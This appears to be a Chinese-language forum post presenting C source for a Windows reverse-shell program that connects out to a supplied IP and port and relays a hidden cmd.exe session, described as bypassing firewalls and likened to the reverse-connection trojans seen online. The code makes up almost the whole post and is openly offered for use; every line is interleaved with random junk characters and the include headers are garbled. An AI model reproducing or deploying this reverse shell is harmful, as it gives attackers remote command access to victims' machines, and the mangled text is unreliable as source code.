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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 3 3|t5Ia  
zGFD71=#  
/* ============================== ~ney~Pz_  
Rebound port in Windows NT Z4EmRa30 p  
By wind,2006/7 F~8'3!<9  
===============================*/ 4 s ax  
#include vjq2(I)u  
#include +i!5<nn  
y ?&hA! x  
#pragma comment(lib,"wsock32.lib") ~W[I  
:{#O   
void OutputShell(); 58Ce>*~  
SOCKET sClient; {g! 7K  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; yo=L1; H  
~%8P0AP  
void main(int argc,char **argv) X3\PVsH$K  
{ V D~5]TQ  
WSADATA stWsaData; Oj;*Gi9E  
int nRet; |ZL?Pqki  
SOCKADDR_IN stSaiClient,stSaiServer; 4%^z=%  
Vw1>d+<~-)  
if(argc != 3) 7-``J#9=  
{ cv aG[NF  
printf("Useage:\n\rRebound DestIP DestPort\n"); Z-Uu/GjB  
return; *qwN9b/!  
} KGYbPty}  
9F>`M  
WSAStartup(MAKEWORD(2,2),&stWsaData); $Lr& V~  
.`}TND~  
sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); tL$,]I$1+  
bGCC?}\  
stSaiClient.sin_family = AF_INET; v-tI`Qpb  
stSaiClient.sin_port = htons(0); &t[[4+Qt  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); pM?~AYWb  
}6@E3z]AMO  
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) |Dn Zk3M,  
{ {^z73Gxt,  
printf("Bind Socket Failed!\n"); DjM*U52Yfj  
return; WR{m?neE_N  
} 5rows]EJJl  
zr /v.$<  
stSaiServer.sin_family = AF_INET; y>EW,%leC  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); 509T?\r  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); `eM ZhY o  
Byc;r-Q5V  
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) QN#"c  
{ rLsY_7!  
printf("Connect Error!"); L5bq\  
return; ?6CLUu|7n  
} t`Kpbfk  
OutputShell(); A0<g8pv  
} i1cd9  
l+9RPJD/:  
void OutputShell() mD'nF1o Ly  
{ #<xFO^TB  
char szBuff[1024]; ~#E&E%sJ  
SECURITY_ATTRIBUTES stSecurityAttributes; |*NLWN.ja)  
OSVERSIONINFO stOsversionInfo; },8|9z#pyB  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; MJ JC6:  
STARTUPINFO stStartupInfo; <=NnrZOF  
char *szShell; dPEDsG0$a  
PROCESS_INFORMATION stProcessInformation; ` IVQ  
unsigned long lBytesRead; Mt4  
juR>4SH  
stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); nK;d\DO  
ni/s/^  
stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); 7Mh'x:p  
stSecurityAttributes.lpSecurityDescriptor = 0; j2D!=PK;  
stSecurityAttributes.bInheritHandle = TRUE; 3N_KNW  
+j 9+~  
%unn{92)  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); *:CTIV5N0  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); )Z:-qH  
j\>&]0-Iq  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); hl:Ba2_E +  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; p6- //0qb  
stStartupInfo.wShowWindow = SW_HIDE; PA^*|^;Xh  
stStartupInfo.hStdInput = hReadPipe; o DZZ  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; ]Ozz"4Z  
#`_W?-%^  
GetVersionEx(&stOsversionInfo);  vc: kY  
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switch(stOsversionInfo.dwPlatformId) JPDxzp  
{ 1'hpg>U  
case 1: 'l/l]26rO4  
szShell = "command.com"; dEDhdF#f  
break; Qr R+3kxM  
default: |B (,53  
szShell = "cmd.exe"; ;j T{< Y  
break; N6[Z*5efR  
} ~aotV1"D  
?*~ ~Ok  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); ,O:4[M!$w  
Ov(k:"N  
send(sClient,szMsg,77,0); f4S}Nga(  
while(1) ikZYc ${  
{ S_sHwObFu|  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); !S<p"   
if(lBytesRead) CRo @+p10  
{ k x:+mF  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); S8v,' Cc  
send(sClient,szBuff,lBytesRead,0); ar@,SKU'K  
} |~76dxU  
else b|87=1^m[  
{ m<n+1  
lBytesRead=recv(sClient,szBuff,1024,0); }D1? Z7p  
if(lBytesRead<=0) break; s {*rBX8N  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); JXuks`:Q  
} =&g:dX|q8  
} &kf \[|y  
6Lq8#{/]u  
return; k'X"jon  
}
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